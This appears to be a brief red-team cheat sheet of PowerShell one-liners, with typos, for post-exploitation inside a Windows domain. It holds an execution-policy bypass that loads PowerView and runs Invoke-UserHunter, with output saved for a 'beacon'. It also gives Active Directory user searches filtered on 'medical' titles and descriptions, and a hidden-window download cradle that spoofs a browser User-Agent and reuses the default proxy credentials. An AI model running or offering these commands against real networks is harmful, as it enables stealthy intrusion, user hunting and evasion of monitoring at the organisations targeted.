PowerVeiw and output localy to disk for beacon: powershell -no -exec bypass -command "& {Import-Module .\PowerView.ps1; Invoke-UserHunter USRNAME | Out-File -Encoding Ascii USERNAME.txt}" Powerview UserHunting Search by keyword: powershell Get-NetUser -Filter "(description=*medical*)" | Select-Object -Prop samaccountname.description,title powershell Get-NetUser -Filter "(title=*medical*)" | Select-Object -Prop samaccountname.description,title Simple Web request: powershell.exe -w hidden -command $wc = New-Object System.Net.Webclient; $wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); $wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; $wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $wc.downloadstring('http://google.com/')